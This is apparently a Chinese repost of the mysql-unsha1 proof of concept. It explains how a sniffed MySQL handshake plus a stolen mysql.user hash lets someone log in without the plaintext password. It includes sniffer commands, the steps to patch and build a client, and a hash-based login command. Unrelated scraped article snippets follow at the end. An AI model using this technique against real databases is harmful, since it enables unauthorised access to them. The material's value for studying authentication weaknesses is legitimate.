mysql-unsha1:在未知密码情况下,登录任意MYSQL数据库
摘要
这个POC用于在不知道明文密码的情况下对启用了密码安全认证插件(默认开启插件:mysql_native_password)的MYSQL数据库进行登录。
前提条件为:
1.为了获取到已知用户的hash,我们需要读取到目标数据库中的mysql.user表。
2.能够拦截到上述已知用户执行成功的认证信息(即通过SSL认证无法攻击成功)。
注意:这并不是MYSQL的一个漏洞,只是认证协议工作的直接后果。如果攻击者已经满足了上面两个前提,那么整个系统应该是已经被攻破了。则这篇文章只是对MYSQL服务器获取权限的另外一种思路。
MySQL服务器密码
在默认情况下,所有密码应该是存放在数据库中的mysql.user表中,并且使用PASSWORD()方法对密码进行两次SHA1摘要。
mysql> SELECT DISTINCT password FROM mysql.user WHERE user = 'root';
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
mysql> SELECT PASSWORD('password');
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
mysql> SELECT SHA1(UNHEX(SHA1('password')));
2470c0c06dee42fd1618bb99005adca2ec9d1e19
握手认证
下方公式不能直接在mysql的客户端使用sha1进行计算,具体原因不明,但是使用java代码是可以得到想要的结果的。
客户端发送TCP连接信息之后,MYSQL握手认证的简化步骤大致如下:
1. 服务端发送一个包含盐(s)的数据包
2. 客户端回应一个包含处理过后的密码(x)的登录请求,密码加密算法为:
x := SHA1(password) XOR SHA1(s + SHA1(SHA1(password)))
其中password是用户提供的,"+"是将字符串链接起来。
3. 如果满足下面等式,服务端会确认登录成功:
SHA1(x XOR SHA1(s + SHA1(SHA1(password)))) = SHA1(SHA1(password))
其中SHA1(SHA1(password))是对密码进行两次SHA1摘要,然后储存到mysql.user表中。并且服务端并不知道密码以及它的SHA1摘要是什么。
漏洞利用
攻击者已经能够获得SHA1(password),因此我们可以在不知道明文的密码情况下对服务端进行欺骗。
步骤如下:
1.将h设置为我们在mysql.user表中得到的经过编码的password。
2.s和x是我们通过拦截通信得到的盐和经过处理的密码。
所以,第一步对密码进行的SHA1可以表示为:
SHA1(password) = x XOR SHA1(s + h)
攻击工具
为了可以更加方便的利用这个漏洞,为这个PoC提供了两个利用工具:
1.一个简单的嗅探器,用于从PCAP文件中提取和检查实时或离线的握手信息;
2.允许将登录的密码设置为SHA1摘要,而不是明文密码的补丁.
嗅探器
安装mysql-unsha1-sniff只需要运行make命令(或者使用make static生成一个静态链接可执行文件)。Makefile将在此目录下查找uthash.h文件,如果不存在,就去下载它。
运行不带参数的mysql-unsha1-sniff,将显示用法。
例子:
sudo ./mysql-unsha1-sniff -i lo 127.0.0.1 3306 2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:root
一旦成功抓到握手认证信息,数据会像下面一样:
[+] Input:
[+] - username ........................ 'root'
[+] - salt ............................ 3274756c42415d3429717e482a3776704d706b49
[+] - client session password ......... 6d45a453b989ad0ff0c84daf623e9870f129c329
[+] - SHA1(SHA1(password)) ............ 2470c0c06dee42fd1618bb99005adca2ec9d1e19
[+] Output:
[+] - SHA1(password) .................. 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
[+] Check:
[+] - computed SHA1(SHA1(password)) ... 2470c0c06dee42fd1618bb99005adca2ec9d1e19
[+] - authentication status ........... OK
如果没有提供帐户信息,工具将仅显示salt和会话密码。
mysql客户端补丁
搭建mysql客户端需要一些时间,并且确保您的磁盘有足够的空间。
1下载并且解压MySQL源码:
wget https://github.com/mysql/mysql-server/archive/mysql-5.7.17.tar.gz
tar xf mysql-5.7.17.tar.gz
cd mysql-server-mysql-5.7.17
2.安装补丁
patch -p1 </path/to/mysql-server-unsha1.patch
3.编译:
mkdir build
cd build
cmake -DDOWNLOAD_BOOST=1 -DWITH_BOOST=boost -DWITHOUT_SERVER:BOOL=ON ..
make -j$(nproc)
4.客户端文件将在client/mysql文件夹中产生,设置环境变量。安装完成之后删除源码节省重空间。
sudo cp client/mysql /usr/local/bin/mysql-unsha1
cd ../..
rm -fr mysql-server-mysql-5.7.17
使用mysql-unsha1作为原始的MySQL客户端,并且只需要了解–password[=password], -p[password]选项需要一个长度为40的SHA1摘要。
使用前面获取到的SHA1进行登录:
mysql-unsha1 -h 127.0.0.1 -P 3306 -u root --password=5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
其中:
mysql> SELECT SHA1(UNHEX('5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8'));
2470c0c06dee42fd1618bb99005adca2ec9d1e19
2470c0c06dee42fd1618bb99005adca2ec9d1e19是在mysql.user表里面的密码。
mysql-unsha1:在未知密码情况下,登录任意MYSQL数据库的更多相关文章
- Mysql不知道默认密码情况下登录/重置/忘记密码
场景一: 基础系统:linux 镜像:LAMP环境(Ubuntu 18.04 Apache PHP7.0) 问题:ERROR 1405 (28000): Access denied for user ...
- 没有显示器且IP未知的情况下登录树莓派
如果是没有显示器操作树莓派,可能会不知道树莓派有线网卡自动分配到的IP地址,不知道登录到哪儿.以下提供详细操作步骤解决这个问题. 网段扫描法这个是推荐的办法.网段扫描工具很多,推荐一个Advanced ...
- MYSQL 索引类型、什么情况下用不上索引、什么情况下不推荐使用索引
mysql explain的使用: http://blog.csdn.net/kaka1121/article/details/53394426 索引类型 在数据库表中,对字段建立索引可以大大提高查询 ...
- Mysql8.0.17忘记密码情况下重置密码
1.以管理员身份打开命令窗口cmd,输入命令: net stop mysql 2.开启跳过密码验证登录的mysql服务,输入命令 mysqld --console --skip-grant-table ...
- mysql与redis在各种情况下性能对比
数据表结构 CREATE TABLE `jx_goods_test` ( `id` int(11) NOT NULL AUTO_INCREMENT, `goods_name` varchar(100) ...
- 没有外网情况下linux安装mysql
首先linux要使用局域网 环境要求:局域网, windows系统, linux系统, mysql安装包mysql.tar.gz 注意:32位操作系统用32位安装包,64位系统用64位安装包,不 ...
- Oracle不知道用户密码情况下,如何在不更改密码的前提下解锁用户或者延期密码有效期
1.问题描述: 生产环境,zabbix告警业务用户密码即将过期,但是如何不知道业务用户密码的情况下来解决该问题? 2.实验一: 1)创建新的用户test,并授予test resource角色和conn ...
- 【索引失效】什么情况下会引起MySQL索引失效
索引并不是时时都会生效的,比如以下几种情况,将导致索引失效: 1.如果条件中有or,即使其中有条件带索引也不会使用(这也是为什么尽量少用or的原因) 注意:要想使用or,又想让索引生效,只能将or条件 ...
- 不知道密码情况下 进行docker数据库可视化连接
1. 通过命令 docker inpect mysql容器id ,查询mysql容器的密码和绑定的端口号 2.通过vscode插件或者navicat等可视化工具,进行连接即可. 有问题请进群联系我,或 ...
随机推荐
- spoj high
matrixtree定理裸体,学了行列式的n^3解法,(应该是能应用于所有行列式): 代码是参考某篇题解的... #include<iostream> #include<cstrin ...
- 20155326 2016-2017-2 《Java程序设计》第十周学习总结
20155326 2016-2017-2 <Java程序设计>第十周学习总结 教材学习内容总结 计算机网络基础 1.计算机网络概述 网络编程的实质就是两个(或多个)设备(例如计算机)之间的 ...
- SSM_CRUD新手练习(5)测试mapper
上一篇我们使用逆向工程生成了所需要的bean.dao和对应的mapper.xml文件,并且修改好了我们需要的数据库查询方法. 现在我们来测试一下DAO层,在test包下新建一个MapperTest.j ...
- PAT甲级 1124. Raffle for Weibo Followers (20)
1124. Raffle for Weibo Followers (20) 时间限制 400 ms 内存限制 65536 kB 代码长度限制 16000 B 判题程序 Standard 作者 CHEN ...
- Lib作为“静态库”与“动态库”中的区别
Lib作为“静态库”与“动态库”中的区别 0. 前言: 什么是静态连接库: 静态库在链接阶段,会将汇编生成的目标文件.o与引用到的库一起链接打包到可执行文件中.因此对应的链接方式称为静态链接. 为什么 ...
- 《mysql必知必会》学习_第9章_20180731_欢
第九章,用正则表达式进行搜索. P52 select prod_name from products where prod_name regexp '1000' order by prod_name; ...
- libgdx游戏中的中文字体工具类
// ---------全局Font------------ static FreeTypeFontGenerator Generator; static BitmapFont Font; stati ...
- codefirst数据迁移技术,在保留数据库数据下实现对模型的修改并映射到数据库
一前言 这是我的处女作,写的不好的地方还望指出共同讨论.EF的数据访问方式有三种DbFirst,ModelFirst,还有本文要提到的CodeFirst 三者都是以ORM的方式建立.本人之前学习的.n ...
- 获取webpart方法以及连接字符串记录
在页面地址后面添加?contents=1就可以显示所有页面的webpart部件了 server=wtcsps05;database=Testing_DB;uid=sqluser;password=wt ...
- HttpWebRequest 跳转后(301,302)ResponseUri乱码问题
问题: 目标地址: http://www.baidu.com/baidu.php?url=a000000aa.7D_ifdr1XkSUzuBz3rd2ccvp2mFoJ3rOUsnx8OdxeOeOL ...